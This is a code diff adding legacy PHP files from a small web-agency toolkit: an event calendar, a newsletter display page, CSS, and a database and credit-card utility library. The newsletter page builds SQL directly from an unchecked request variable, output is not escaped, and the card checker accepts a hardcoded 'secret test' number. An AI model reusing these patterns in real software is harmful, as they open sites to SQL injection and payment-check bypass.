+ }
+ else
+ {
+ foreach($newdata[$date] as $num=>$data)
+ {
+ $data2[] = '<div class="topic">
+ <div class="'.disColor($data['topiccolor']).'">'.'<a href="'.BASE_URL.'events.phtml?month='.$month.'&year='.$year.'&eventid='.$data[id].'">'.$data[header].'</a>'.' </div>
+ </div>
+ ';
+ }
+ $output = implode(" ",$data2);
+ }
+ return( $output );
+}
+/**
+ * data
+ *
+ * @param mixed $month
+ * @param mixed $day
+ * @param mixed $year
+ * @access public
+ * @return void
+ */
+function data( $month, $day, $year )
+{
+ global $newdata;
+ if($month < 10)
+ {
+ $month = '0'.$month;
+ }
+ if((int)$day < 10)
+ {
+ $day = '0'.$day;
+ }
+ $date = $month.'-'.$day.'-'.$year;
+ if($newdata[$date])
+ {
+ return( show_event_headers($date) );
+ }
+ else
+ {
+ return(false);
+ }
+}
+/**
+ * calendar
+ *
+ * @param mixed $month
+ * @param mixed $year
+ * @param mixed $size
+ * @param mixed $href
+ * @param mixed $href2
+ * @access public
+ * @return void
+ */
+function calendar( $month, $year, $size, $href ,$href2) {
+ global $RIGHTLINK,$LEFTLINK;
+ $LEFTLINK = '<img src="'.BASE_URL.'images/left.gif" class="calleftarrow" border="0">';
+ $RIGHTLINK = '<img src="'.BASE_URL.'images/right.gif" class="calrightarrow" border="0">';
+ // Change to month/year to display
+ if( !isset( $month ) )
+ {
+ $month = date('m');
+ }
+ if( !isset( $year ) )
+ {
+ $year = date('Y');
+ }
+ $next = $month +1;
+ $next_year = $year;
+ $prev = $month -1;
+ $prev_year = $year;
+ if( $next == 13 )
+ {
+ $next = 1;
+ $next_year++;
+ }
+ if( $next == 0 )
+ {
+ $next = 12;
+ $next_year--;
+ }
+ if( $prev == 13 )
+ {
+ $prev = 1;
+ $prev_year++;
+ }
+ if( $prev == 0 )
+ {
+ $prev = 12;
+ $prev_year--;
+ }
+ switch( $size )
+ {
+ case 1:
+ // small calendar
+ $caltable = 'caltablesmall';
+ $caldayheader = 'caldayheadersmall';
+ $caltitle = 'caltitle';
+ $calmonth = 'calmonthsmall';
+ $calspacer = 'calspacersmall';
+ $calday = 'caldaysmall';
+ $calendar = '<a href="'.BASE_URL.'events.phtml?catid=35&year='.$year.'&month='.$month.'">';
+ $calendar .= date( "F", mktime( 0, 0, 0, $month + 1, 0, $year ) );
+ $calendar .= '</a>';
+ break;
+ case 2:
+ $prev_month = '<a href="'.$href.$prev.'&year='.$prev_year.'">'.$LEFTLINK.' Previous Month</a>';
+ $next_month = '<a href="'.$href.$next.'&year='.$next_year.'">'.$RIGHTLINK.'Next Month</a>';
+ // large calendar
+ $caltable = 'caltable';
+ $caldayheader = 'caldayheader';
+ $caltitle = 'caltitle';
+ $calmonth = 'calmonth';
+ $calspacer = 'calspacer';
+ $calday = 'calday';
+ $week_titles = array ( 0 => "Sunday", 1 => "Monday", 2 => "Tuesday", 3 => "Wednesday", 4 => "Thursday", 5 => "Friday", 6 => "Saturday");
+ $calendar = date( "F", mktime( 0, 0, 0, $month + 1, 0, $year ) );
+ break;
+ }
+ // determine total number of days in a month
+ $totaldays = 0;
+ while ( checkdate( $month, $totaldays + 1, $year ) )
+ {
+ $totaldays++;
+ }
+ // build table
+ $out = '';
+ $out .= '<table class="'.$caltable.'">';
+ if( $size == 1 )
+ {
+ $out .= '
+ <tr>
+ <td colspan="7" class="'.$calmonth.'"> '.$calendar.' '.(($size == 2)?$year:'').'</td>
+ </tr>
+ ';
+ }
+ else
+ {
+ $out .= '
+ <tr>
+ <td class="'.$caltitle.'" colspan="2">'.$prev_month.'</td>
+ <td colspan="3" class="'.$calmonth.'"> '.$calendar.' '.(($size == 2)?$year:'').'</td>
+ <td class="'.$caltitle.'" colspan="2">'.$next_month.'</td>
+ </tr>
+ ';
+ }
+ //$out .= '<TH COLSPAN=2 WIDTH=150 BGCOLOR="'.$THCLR.'">'.$THFT.'Things to Do</FONT></TH>';
+ if( $size == 2 )
+ {
+ $out .= '<tr>';
+ for ( $x = 0; $x < 7; $x++ )
+ {
+ $out .= '
+ <td class="'.$caldayheader.'">'.$week_titles[$x].'</td>
+ ';
+ }
+ $out .= '
+ </tr>
+ ';
+ }
+ // ensure that a number of blanks are put in so that the first day of the month
+ // lines up with the proper day of the week
+ $offset = date( "w", mktime( 0, 0, 0, $month, 0, $year ) ) + 1;
+ $out .= '
+ <tr>
+ ';
+ if ( $offset > 0 && $offset != 7 )
+ {
+ $out .= str_repeat( "
+ <td class=\"".$calspacer."\"> </td>
+ ",$offset);
+ }
+ if( $offset == 7 )
+ {
+ $offset = 0;
+ }
+ // start entering in the information
+ for ( $day = 1; $day <= $totaldays; $day++ )
+ {
+ $out .= '
+ <td class="'.$calday.'" valign="top">';
+ $datelink =data( $month, $day, $year );
+ if( $size == 1 && $datelink )
+ {
+ $out .= '<a href="'.BASE_URL.'events.phtml?flat=1&month='.$month.'&day='.$day.'&year='.$year.'">'.$day.'</a>';
+ }
+ elseif( $datelink )
+ {
+ $out .= $day.'';
+ $out .= $datelink;
+ }
+ else
+ {
+ $out .= $day.'';
+ }
+ $out .= '</td>
+ ';
+ $offset++;
+ // if we're on the last day of the week, wrap to the other side
+ if ( $offset > 6 )
+ {
+ $offset = 0;
+ $out .= '
+ </tr>
+ ';
+ if ( $day < $totaldays )
+ {
+ $out .= '
+ <tr>
+ ';
+ }
+ }
+ }
+ // fill in the remaining spaces for the end of the month, just to make it look
+ // pretty
+ if ( $offset > 0 )
+ {
+ $offset = 7 - $offset;
+ }
+ if ( $offset > 0 )
+ {
+ $out .= str_repeat( "
+ <td class=\"".$calspacer."\"> </td>
+ ", $offset );
+ }
+ // end the table
+ $out .= '
+ </table>
+ ';
+ return( $out );
+}
+?>
--- /dev/null
+<?
+/**
+ *
+ * Gaslight Media Toolbox output
+ * glm-Newsletter-2-0
+ *
+ * @package Toolbox
+ * @subpackage News
+ * @copyright 2001
+ * @author Steve Sutton
+ *
+ **/
+
+//include("setup.phtml");
+
+if(!$dbd = db_connect())
+ html_error(DB_ERROR_MSG,1);
+
+$catid = 3;
+
+if(isset($id))
+ {
+ $archqs = "SELECT id,title,status
+ FROM news
+ WHERE (status = 'archived'
+ OR status = 'current')
+ AND catid = $catid
+ ORDER BY status DESC";
+ }
+else
+ {
+ $archqs = "SELECT id,title,status
+ FROM news
+ WHERE status = 'archived'
+ AND catid = 1";
+ }
+
+if(!$archres = db_exec($dbd,$archqs))
+ html_error(DB_ERROR_MSG,1);
+
+
+if(pg_numrows($archres)>0)
+ {
+ for($a=0;$a<pg_numrows($archres);$a++)
+ {
+ $archrow = db_fetch_array($archres,$a,PGSQL_ASSOC);
+ if($archrow[status]=="current")
+ {
+ $archive[$archrow[title]." (current)"] = "news.phtml?id=$archrow[id]";
+ }
+ else
+ {
+ $archive[$archrow[title]] = "news.phtml?id=$archrow[id]";
+ }
+ }
+ }
+
+if(isset($id) && $id != "")
+ {
+ $qs = "SELECT id,title,header,description,image
+ FROM news
+ WHERE id = $id";
+ }
+else
+ {
+ $qs = "SELECT id,title,header,description,image
+ FROM news
+ WHERE status = 'current'
+ AND catid = $catid";
+ }
+
+if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG,1);
+
+if(pg_numrows($res)>0)
+ {
+ $row = db_fetch_array($res,0,PGSQL_ASSOC);
+ if($row[image] != "")
+ {
+ $img = "<img src=\"".MIDSIZED.$row[image]."\" align=left hspace=10 vspace=10>";
+ }
+ else
+ {
+ $img = " ";
+ }
+/* begin output for main section of newsletter */
+?>
+<center>
+
+<table width=400>
+<tr>
+ <td class="header"><?echo $row[title]?></td>
+</tr>
+<tr>
+ <td align=left class="subheadline"><?echo $row[header]?></td>
+</tr>
+<tr>
+ <td class="content"><?echo $img.nl2br($row[description])?></td>
+</tr>
+<tr><td> </td></tr>
+<?
+/* end output for main section of newsletter */
+if($row[id])
+ {
+ $blockqs = "SELECT header,description,image,pos
+ FROM news_block
+ WHERE news_id = $row[id]
+ ORDER BY pos";
+
+ if(!$blockres = db_exec($dbd,$blockqs))
+ html_error(DB_ERROR_MSG,1);
+
+ if(pg_numrows($blockres)>0)
+ {
+ for($i=0;$i<pg_numrows($blockres);$i++)
+ {
+ if($i%2==0)
+ $align = "align=right";
+ else
+ $align = "align=left";
+ $blockrow = db_fetch_array($blockres,$i,PGSQL_ASSOC);
+ if($blockrow[image] != "")
+ {
+ $blockimg = "<img src=\"".MIDSIZED.$blockrow[image]."\"$align>";
+ }
+ else
+ {
+ $blockimg = " ";
+ }
+ /* begin output for block sections of newsletter */
+ ?>
+ <tr>
+ <td align=left class="header"><?echo $blockrow[header]?></td>
+ </tr>
+ <tr>
+ <td class="content"><?echo $blockimg.nl2br($blockrow[description])?></td>
+ </tr>
+ <tr><td> </td></tr>
+ <?
+ }
+ }
+ }
+?>
+<tr><td><B>Newsletters</b><br>
+<?
+if(is_array($archive))
+ {
+ echo html_nav_table($archive,1);
+ }
+?></td></tr>
+</table>
+</center>
+<?
+/* end output for block sections of newsletter */
+ }
+else
+ {
+ ?> <div class="content">
+ No Newsletter today!
+ </div>
+ <?
+ }
+
+?>
--- /dev/null
+#contact {margin-top: 1em; }
+.req {color: #f00;}
+/* Main table */
+#contact table {
+ background-color: #fff;
+ border: 1px solid #eee;
+ border-collapse: collapse;
+ }
+/* Any Table inside the form */
+#contact table table {
+ width: 100%;
+ margin-left: 0;
+ border: 0px solid #ddd;
+ }
+#contact table table td { border: 0px solid #ddd;}
+
+/* TD's */
+#contact td {
+ padding: 3px 6px;
+ font-family: arial, helvetica, sans-serif;
+ color: #000;
+
+ border: 1px solid #eee;
+ border-collapse: collapse;}
+#contact td.fieldcell label { display:block;width:100%; }
+/* Left Cells */
+.labelcell {
+ background-color: transparent;
+ text-align: right;
+ padding-right: 10px;
+ padding-top: 3px;
+ white-space:nowrap;
+ width: 140px;
+ }
+/*Right Cells */
+.fieldcell {
+ padding-left: 4px;
+ width: 300px;
+ }
+
+/* Misc */
+textarea {width: 100%; height: 100px; display:block;}
+
+/* WARNINGS */
+#form-warning-top {
+ margin-top: 1em;
+ margin-bottom: 0.5em;
+ color: #f00;
+ font-size: 14px;
+ font-weight: bold;
+ }
+/* SHow hide instruction div */
+#contact table tr td .form-warning-inside {display: none;}
+#contact table tr.req td .form-warning-inside {
+ display: block;
+ background-image: url('images/error.gif');
+ background-repeat:no-repeat;
+ background-position: top left;
+ padding: 2px 2px 2px 22px;}
+
+/* Showing/hiding rows */
+/*invisible*/
+#contact table tr td.instructioncell {
+ width: 200px;
+ white-space: nowrap;
+ color: #fff;
+ }
+
+/*visible*/
+#contact table tr.req {
+ border: 2px solid #f00;
+ background-color:#FCD6D4;
+ border-collapse: separate;}
+/*color*/
+#contact table tr.req td.labelcell {background-color:#FCD6D4;}
+#contact table tr.req td.fieldcell {background-color:#FCD6D4;}
+#contact table tr.req td.instructioncell {background-color:#FCD6D4;}
+#contact table tr.req td.instructioncell {
+ padding: 4px;
+ padding-left: 20px;
+ background-image: url('images/error.gif');
+ background-repeat:no-repeat;
+ background-position: center left;
+ border-width: 0;
+ color: #000;
+ }
+
--- /dev/null
+/* event calendar styles*/
+table.caltable {
+ font-family: Arial, Helvetica, sans-serif;
+ color: #003266;
+ font-size: 10px;
+ border:solid #003266 1px;
+ border-collapse: collapse;
+ width: 100%;
+ margin-right: 20px;
+ margin-top: 10px;
+ clear: both;
+ }
+table.caltablesmall {
+ float: left;
+ font-family: tahoma, arial, sans-serif;
+ color: #888;
+ border:solid #036 1px;
+ margin:0 0 0 5px;
+ border-collapse: collapse;
+ width: 120px;
+ }
+table.caltable td {border:solid #003266 1px;}
+table.caltablesmall td {border:solid #003266 1px;border-collapse: collapse;}
+td.caltitle {
+ text-align:center;
+ font-weight:bold;
+ background-color: #00387B;
+ color: white;
+ }
+td.caltitle a {color:white;margin:0;padding:0; text-transform: uppercase;}
+td.calmonth {
+ text-align:center;
+ font-weight:bold;
+ background-color: #00387B;
+ color: white;
+ font-size: 14px;
+ text-transform: uppercase;}
+td.calmonthsmall {
+ text-align:center;
+ font-weight:bold;
+ background-color: #00387B;
+ color: white;
+ font-size: 9px;
+ text-transform: uppercase;}
+td.calspacer { background-color:#eee;
+ font-size: 4px;}
+td.calspacersmall {
+ background-color:#eee;
+ font-size: 4px;
+}
+td.caldayheader{
+ text-align:center;
+ height:auto;
+ background-color: #A8C291;
+ color:#000;
+ width: 68px;
+ width: auto;
+ }
+td.caldayheadersmall{
+ text-align:center;
+ height:auto;
+ background-color: #A8C291;
+ color:#000;
+ width: 5px;
+ width: auto;
+ font-size: 10px;
+ }
+
+td.calday {
+ text-align:left;
+ width: 77px;
+ height: 77px;
+ font-size: 10px;
+ font-family: tahoma, arial, sans-serif;}
+td.caldaysmall {
+ font-family: tahoma, arial, sans-serif;
+ font-size: 9px;
+ text-align:center;
+ padding: 2px;
+ }
+/* td.calday a { display: block; margin-top: 0.5em; }*/
+td.calday a:link { color: #000; }
+td.calday a:visited { color: #333; }
+td.calday a:active { color: #000; }
+td.calday a:hover { color: #555; }
+
+td.caldaysmall a { }
+td.caldaysmall a:link { color: #000; }
+td.caldaysmall a:visited { color: #222; }
+td.caldaysmall a:active { color: #000; }
+td.caldaysmall a:hover { color: #000; }
+
+td.calmonthsmall a { font-weight:bold; margin:0;padding:0; color:white;}
+
+img.calleftarrow { float:left;}
+img.calrightarrow { float: right;}
+
+/* FLAT VIEW */
+.eventcontainer {
+ font-family: arial, helvetica, sans-serif;
+ font-size: 12px;
+ width:560px;;
+ padding-bottom: 1em;
+ margin-bottom: 1em;
+ border-bottom: 1px solid black;}
+.eventimg1 {
+ float: right;
+ border: 0px solid #8094C0;
+ margin: 0 10px 10px 10px;
+ }
+.eventimg2 {
+ float: left;
+ border: 0px solid #8094C0;
+ margin: 0 10px 10px 10px;
+ }
+.eventimg3 {
+ float: right;
+ border: 0px solid #8094C0;
+ margin: 0 10px 10px 10px;
+ }
+.eventheader {
+ font-size: 18px;
+ font-weight: bold;
+ color: #13246C;
+ padding-top: 1em;
+ }
+.eventdate {font-weight: bold; color: #A3161F;}
+
+.eventcontact {font-weight: bold; color: #44609D}
+.eventvalue a:link, .eventvalue a:visited, .eventvalue a:hover, .eventvalue a:active { font-weight: bold; text-decoration: underline;}
+.eventvalue a:link {color: #13246C;}
+.eventvalue a:visited {color: #13246C;}
+.eventvalue a:active {color: #13246C;}
+.eventvalue a:hover {color: #000;}
+
+.eventdescr {margin: 0.5em 0;}
+#smallcals {border: 0px solid red; float: right;}
+
+
+/* customized */
+.topic a {display: block; padding: 3px;}
+.topic div {border-top: 1px solid #aaa;}
+
+
+/* SELECT TOPICS */
+#topicsearch {margin: 0 0 10px 0; display:block;float:left; background: #eee; padding: 1px; border: 1px dotted #ddd;}
+#topicsearch .topicsearchrow {clear: left;}
+#topicsearch .topicsearchheader {width:12px;height:12px; float:left; position: relative; border: 1px solid #666; margin-bottom: 1px; margin-right: 4px; font-size: 1px;}
+#topicsearch a {display: block; position: relative; font-size: 10px;}
+#topicsearch a:link {color: #000;}
+#topicsearch a:visited {color: #333;}
+#topicsearch a:active {color: #000;}
+#topicsearch a:hover {color: #666;}
+
+
+/* --- */
+
+#monthsearch { display:block; border-bottom: 1px solid black; padding-bottom: 1em; width: 550px; }
+#monthsearch form {display:block;float:left;font-size: 12px;clear: both;}
+#monthsearch select, #monthsearch input {font-size: 12px; margin-right: 5px;}
+#monthsearch a {margin-left: 18px;}
+#monthsearch a:link {color: #000;}
+#monthsearch a:visited {color: #000;}
+#monthsearch a:hover {color: #00387B;}
+#monthsearch a:active {color: #000;}
+
+
+
+.color1 {background-color: #FFCCCC;}
+.color2 {background-color: #CC9999;}
+.color3 {background-color: #FF9999;}
+.color4 {background-color: #FFCCFF;}
+.color5 {background-color: #CC99CC;}
+
+.color6 {background-color: #FF99FF;}
+.color7 {background-color: #CCCCFF;}
+.color8 {background-color: #9999CC;}
+.color9 {background-color: #9999FF;}
+.color10 {background-color: #CCFFFF;}
+
+.color11 {background-color: #99CCCC;}
+.color12 {background-color: #99FFFF;}
+.color13 {background-color: #CCFFCC;}
+.color14 {background-color: #99CC99;}
+.color15 {background-color: #99FF99;}
+
+.color16 {background-color: #FFFFCC;}
+.color17 {background-color: #CCCC99;}
+.color18 {background-color: #FFFF99;}
+.color19 {background-color: #FFCC99;}
+.color20 {background-color: #FF99CC;}
+
+.color21 {background-color: #CC99FF;}
+.color22 {background-color: #99CCFF;}
+.color23 {background-color: #99FFCC;}
+.color24 {background-color: #CCFF99;}
+.color25 {background-color: #CCCCCC;}
+
+
+/* advacned search result*/
+#searching {padding: 3px; border: 1px dotted grey; background: #eee;}
+/* advacned search result*/
+#searching h4 {margin: 0;}
\ No newline at end of file
--- /dev/null
+<?
+
+/************************************************************************
+$Id: functions.inc,v 1.4 2006/05/17 12:20:55 matrix Exp $
+ Gaslight Media Standard Function Library
+
+ Copyright (c) 2000-2004 by Gaslight Media Inc.
+
+ FILE: functions.inc
+ VERSION: 1.3
+
+ ---------------------------------------------------------
+ SEE functions_docs.txt FOR INFORMATION ON THESE FUNCTIONS
+ ---------------------------------------------------------
+
+
+************************************************************************/
+
+/*******LANGUAGE INIT*******/
+/*
+CREATE FUNCTION plpgsql_call_handler() RETURNS language_handler AS
+ '$libdir/plpgsql' LANGUAGE C;
+CREATE TRUSTED PROCEDURAL LANGUAGE plpgsql
+ HANDLER plpgsql_call_handler;
+*/
+
+
+ // Indicate that functions.inc is loaded
+
+define( "FUNCTIONS_LOADED", true );
+
+/***********************************************************************
+* *
+* DEBUG FUNCTIONS *
+* *
+***********************************************************************/
+
+ // Display E-Mail if debug level > 0
+
+function debug_mail( $to, $subject, $message, $headers = '', $parameters = '' )
+ {
+
+ if( SI_DEBUG_MAIL )
+ {
+ echo '<p>
+ <table border="1">
+ <tr><th align="center">MAIL DEBUG</th></tr>
+ <tr><td align="left"> Recipient(s): '.$to.'</td></tr>
+ <tr><td align="left"> Subject: '.$subject.'</td></tr>
+ <tr><td align="left"> Headers:<br><pre>'.$headers.'</pre></td></tr>
+ <tr><td align="left"> Parameters:<br><pre>'.$parameters.'</pre></td></tr>
+ <tr><td align="left"> <pre>'.$message.'</pre></td></tr>
+ </table>
+ <p>
+ ';
+ return( true );
+ }
+ else
+ return( mail( $to, $subject, $message, $headers, $parameters ) );
+
+ }
+
+
+/***********************************************************************
+* *
+* FUNCTIONS FROM SETUP.PHP *
+* *
+***********************************************************************/
+
+function cp1252_to_utf8($str)
+ {
+ global $cp1252_map;
+ return strtr(utf8_encode($str), $cp1252_map);
+ }
+
+/***********************************************************************
+* *
+* GENERAL FUNCTIONS *
+* *
+***********************************************************************/
+
+ // Check for a valid credit card number doing Luhn check
+
+function CreditVal( $Num, $Name = '', $Accepted='' )
+ {
+ $GoodCard = 1;
+ $Num = ereg_replace("[^[:digit:]]", "", $Num);
+ switch ($Name)
+ {
+ case "mastercard" :
+ $GoodCard = ereg("^5[1-5].{14}$", $Num);
+ break;
+
+ case "visa" :
+ $GoodCard = ereg("^4.{15}$|^4.{12}$", $Num);
+ break;
+
+ case "americanexpress" :
+ $GoodCard = ereg("^3[47].{13}$", $Num);
+ break;
+
+ case "discover" :
+ $GoodCard = ereg("^6011.{12}$", $Num);
+ break;
+
+ case "dinnerscard" :
+ $GoodCard = ereg("^30[0-5].{11}$|^3[68].{12}$", $Num);
+ break;
+
+ default:
+ if( ereg("^5[1-5].{14}$", $Num) ) $Name = "mastercard";
+ elseif( ereg("^4.{15}$|^4.{12}$", $Num) ) $Name = "visa";
+ elseif( ereg("^3[47].{13}$", $Num) ) $Name = "americanexpress";
+ elseif( ereg("^6011.{12}$", $Num) ) $Name = "discover";
+ elseif( ereg("^30[0-5].{11}$|^3[68].{12}$", $Num) ) $Name="dinerscard";
+ break;
+ }
+
+ // If there's a limit on card types we accept, check for it here.
+
+ if( $Accepted )
+ {
+ $type_verified = FALSE;
+ $brands = explode_trim( ",", $Accepted );
+ foreach( $brands as $brand )
+ if( $Name == $brand )
+ $type_verified = TRUE;
+
+ if( !$type_verified ) return(FALSE);
+ }
+
+ $Num = strrev($Num);
+ $Total = 0;
+
+ for ($x=0; $x<strlen($Num); $x++)
+ {
+ $digit = substr($Num,$x,1);
+ if ($x/2 != floor($x/2))
+ {
+ $digit *= 2;
+ if (strlen($digit) == 2)
+ $digit = substr($digit,0,1) + substr($digit,1,1);
+ }
+ $Total += $digit;
+ }
+ if( $GoodCard && $Total % 10 == 0 )
+ return( true );
+ else
+ return( false );
+}
+
+ // Alternative strong credit card check function.
+ // NOTE: The $si_cc_verify stuff SHOULD be passed rather than use a global to avoid issues with changes in the global values
+
+function credit_card_check( $Num, $accepted = SI_CC_ACCEPTS )
+{
+ global $si_cc_verify;
+
+ $Num = ereg_replace("[^[:digit:]]", "", $Num);
+
+ // Check for Accepted Card List
+
+ if( !is_int($accepted) || $accepted == 0 )
+ {
+ echo "<P>ERROR: credit_card_check() requires SI_CC_ACCCEPTS parameter!<P>";
+ exit;
+ }
+
+ // Permit secret test code
+
+ if( $Num == "0011001100110011" )
+ return( "Test" );
+ else
+ {
+ // Check each selected card type for a pattern match
+ $Name = "";
+ reset( $si_cc_verify );
+ $i = 0;
+ while( list($k, $v) = each($si_cc_verify) )
+ if( ( $accepted & pow(2,$i++) ) && ereg( $v, $Num ) )
+ {
+ $Name = $k;
+ break;
+ }
+ }
+
+ // Fail if nothing matched
+
+ if( $Name == "" )
+ return( FALSE );
+
+ // Now do strong test
+
+ $Num = strrev($Num);
+
+ $Total = 0;
+
+ for ($x=0; $x<strlen($Num); $x++)
+ {
+ $digit = substr($Num,$x,1);
+ if ($x/2 != floor($x/2))
+ {
+ $digit *= 2;
+ if (strlen($digit) == 2)
+ $digit = substr($digit,0,1) + substr($digit,1,1);
+ }
+ $Total += $digit;
+ }
+
+ if( $Total % 10 == 0 )
+ return( $Name );
+ else
+ return( FALSE );
+
+}
+
+/***********************************************************************
+* *
+* GEOGRAPHIC FUNCTIONS *
+* *
+***********************************************************************/
+
+
+ // Calculate the distance between a pair of lat/lon coordinates.
+
+function geo_distance( $lat1, $lon1, $lat2, $lon2, $units = 'Miles' )
+{
+
+ $d = 3963.0 * acos( sin($lat1/57.2958) * sin($lat2/57.2958) + cos($lat1/57.2958) * cos($lat2/57.2958) * cos($lon2/57.2958 -$lon1/57.2958) );
+
+ switch( $units )
+ {
+
+ // Add units conversions here
+
+ case "Inches":
+ $d = $d * 5280 * 12;
+ break;
+
+ case "Feet":
+ $d = $d * 5280;
+ break;
+
+ case "Yards":
+ $d = $d * ( 5280 / 3 );
+ break;
+
+ case "Miles":
+ default:
+ // This is the default calculated above
+ break;
+
+ case "Nautical Miles":
+ $d = $d / 1.15078;
+ break;
+
+ case "Meters":
+ $d = $d * 1609.344;
+ break;
+
+ case "Kilometers":
+ $d = $d * 1.609344;
+ break;
+
+ }
+
+ return( $d );
+}
+
+/***********************************************************************
+* *
+* DATABASE ABSTRACTION FUNCTIONS *
+* *
+***********************************************************************/
+
+ // Create a connection to database specified $conn_str,
+
+function db_connect( $conn_str, $fail_mode )
+{
+
+ static $last_connect = '';
+ static $ret = 0;
+
+ // If we're using static connections, check to see if this is trying to open the same connection again
+
+ if( SI_DB_STATIC )
+ {
+
+ // Check to see if this is trying to open the same connection again
+
+ if( $last_connect == $conn_str )
+ {
+ // If so just use the current connection
+
+ if( SI_DEBUG >= 3 ) echo "<PRE>db_connect() - Using existing connection - \$conn_str = ".$conn_str."</PRE><BR>";
+ return( $ret );
+ }
+
+ // If we need to open a different connection, close the current one first
+
+ if( $ret != 0 )
+ db_close( $ret );
+
+ $last_connect = $conn_str;
+
+ }
+
+ if( SI_DEBUG >= 3 ) echo "<PRE>db_connect()[".__LINE__."]: \$conn_str = ".$conn_str."</PRE><BR>";
+
+ switch( SI_DB_TYPE )
+ {
+ case "postgres":
+ $ret = pg_connect( $conn_str );
+ break;
+ default:
+ return( 0 );
+ }
+
+ if( !$ret && $fail_mode )
+ html_error( DB_ERROR_MSG, 1 );
+
+ return( $ret );
+
+}
+
+ // Close the connection to database specified by the handle dbd
+
+function db_close( $dbd )
+{
+
+ // IF we're using static connections, don't actually close it
+
+ if( SI_DB_STATIC == TRUE )
+ return( TRUE );
+
+ switch( SI_DB_TYPE )
+ {
+ case "postgres":
+ $ret = pg_close( $dbd );
+ break;
+ default:
+ return( 0 );
+ }
+
+ return( $ret );
+}
+
+ // Create a persistant connection to database specified in $conn_str
+
+function db_pconnect( $conn_str )
+{
+
+ if( SI_DEBUG >= 3 ) echo "<PRE>db_cponnect()[".__LINE__."]: \$conn_str = ".$conn_str."</PRE><BR>";
+
+ switch( SI_DB_TYPE )
+ {
+ case "postgres":
+ $ret = pg_pconnect( $conn_str );
+ break;
+ default:
+ return( 0 );
+ }
+
+ return( $ret );
+}
+
+
+ // Execute an SQL query
+
+function db_exec( $dbd, $qs )
+{
+
+ if( SI_DEBUG >= 3 ) echo "<PRE>db_exec()[".__LINE__."]: \$qs = ".$qs."</PRE><BR>";
+
+ switch( SI_DB_TYPE )
+ {
+ case "postgres":
+ $ret = pg_exec( $dbd, $qs );
+ break;
+
+ default:
+ return( 0 );
+ }
+
+ return( $ret );
+}
+
+ // Get data and store in associative indices, using the field names as keys.
+
+function db_fetch_row( $res, $i )
+{
+
+ if( SI_DEBUG >= 3 ) echo "<PRE>db_fetch()[".__LINE__."]: Row = ".$i."</PRE><BR>";
+
+ if( db_numrows($res) == 0 )
+ return( FALSE );
+
+ switch( SI_DB_TYPE )
+ {
+ case "postgres":
+ $row = pg_fetch_array( $res, $i, PGSQL_ASSOC );
+ break;
+
+ default:
+ return( FALSE );
+ }
+
+ return( $row );
+
+}
+
+ // Free result memory.
+
+function db_freeresult( $res )
+{
+
+ switch( SI_DB_TYPE )
+ {
+ case "postgres":
+ $ret = pg_freeresult( $res );
+ break;
+
+ default:
+ return( 0 );
+ }
+
+ return( $ret );
+}
+
+ // Determine number of rows in a result index
+
+function db_numrows( $res )
+{
+
+ switch( SI_DB_TYPE )
+ {
+ case "postgres":
+ $ret = pg_numrows( $res );
+ break;
+
+ default:
+ return( -1 );
+ }
+
+ return( $ret );
+}
+
+ // Additional Database functions from setup.php - Don't use for new code
+
+function db_fetch_array($res, $i, $type)
+{
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $row = pg_fetch_array($res, $i, $type);
+ break;
+
+ default:
+ return(0);
+ }
+
+ return($row);
+}
+
+function db_auto_array($qs, $i, $type)
+{
+
+ $dbd = db_connect();
+ if(!$dbd)
+ {
+ return(0);
+ }
+ $res = db_exec($dbd, $qs);
+ if(!$res)
+ {
+ return(0);
+ }
+
+ $row = db_fetch_array($res, $i, $type);
+
+ if(!db_freeresult($res))
+ {
+ return(0);
+ }
+
+ db_close($dbd);
+ return($row);
+}
+
+/***********************************************************************
+ *
+ * BEGIN Auto functions
+ *
+ ***********************************************************************/
+
+ // Retrieve a result as an array based soley on a query
+
+function db_auto_get_row( $qs, $i = 0, $conn_str = SI_CONN_STR, $fail_mode = 'FALSE' )
+{
+
+ if( SI_DEBUG >= 2 ) echo "<PRE>db_auto_get_row()[".__LINE__."]: \$qs = $qs, Row = $i</PRE><BR>";
+
+ if( !($dbd = db_connect( $conn_str, $fail_mode )) )
+ return( FALSE );
+
+ if( ($res = db_exec($dbd, SI_DB_SET_DATE_STYLE_STRING.$qs)) )
+ {
+ $row = db_fetch_row( $res, $i );
+ db_freeresult( $res );
+ }
+
+ db_close( $dbd );
+ return( $row );
+}
+
+
+ // Retrieve a set of results based soley on a query
+
+function db_auto_get_data( $qs, $conn_str = SI_CONN_STR, $fail_mode = FALSE, $rows = 500, $start = 0 )
+{
+
+ if( SI_DEBUG >= 2 ) echo "<PRE>db_auto_get_data()[".__LINE__."]: \$qs = $qs, \$rows = $rows, \$start = $start</PRE><BR>";
+
+ if( !($dbd = db_connect( $conn_str, $fail_mode)) )
+ return( FALSE );
+
+ if( ($res = db_exec($dbd, SI_DB_SET_DATE_STYLE_STRING.$qs)) )
+ {
+ $totalrows = pg_NumRows( $res );
+ $stop = $start + $rows;
+ if( $stop > $totalrows )
+ $stop = $totalrows;
+
+ for( $i=$start ; $i<$stop ; $i++ )
+ {
+ $data["$i|$totalrows"] = db_fetch_row( $res, $i );
+ }
+ }
+ db_close( $dbd );
+
+ return( $data );
+}
+
+ // Execute a query.
+
+function db_auto_exec( $qs, $conn_str = SI_CONN_STR, $fail_mode = 'FALSE' )
+{
+
+ if( SI_DEBUG >= 2 ) echo "<PRE>db_auto_exec()[".__LINE__."]: \$qs = $qs, \$conn_str = $conn_str</PRE><BR>";
+
+ $dbd = db_connect( $conn_str, $fail_mode );
+ if( !$dbd )
+ return( 0 );
+
+ if( !( $result = db_exec($dbd, $qs)) )
+ {
+ db_close( $dbd );
+ return( 0 );
+ }
+ else
+ {
+ $oid = pg_getlastoid( $result );
+ db_close( $dbd );
+ if( empty($oid) || $oid == -1 )
+ return( 1 );
+ else
+ return( $oid );
+ }
+}
+
+ // Get information on database fields
+
+function db_data_fields( $conn_str, $table )
+{
+ $dbd = db_connect( $conn_str, FALSE );
+ if( !$dbd )
+ return( 0 );
+
+ $qs = "SELECT * FROM $table LIMIT 1;";
+ $res = db_exec( $dbd, $qs );
+ for( $i=0 ; $i<pg_numfields($res) ; $i++ )
+ {
+ $n = pg_fieldname( $res, $i );
+ $f[$n]['size'] = pg_fieldsize( $res, $i );
+ $f[$n]['type'] = pg_fieldtype( $res, $i );
+ }
+
+ return $f;
+}
+
+
+/***********************************************************************
+* *
+* FILE FUNCTIONS *
+* *
+***********************************************************************/
+
+ // Store away an uploaded file
+
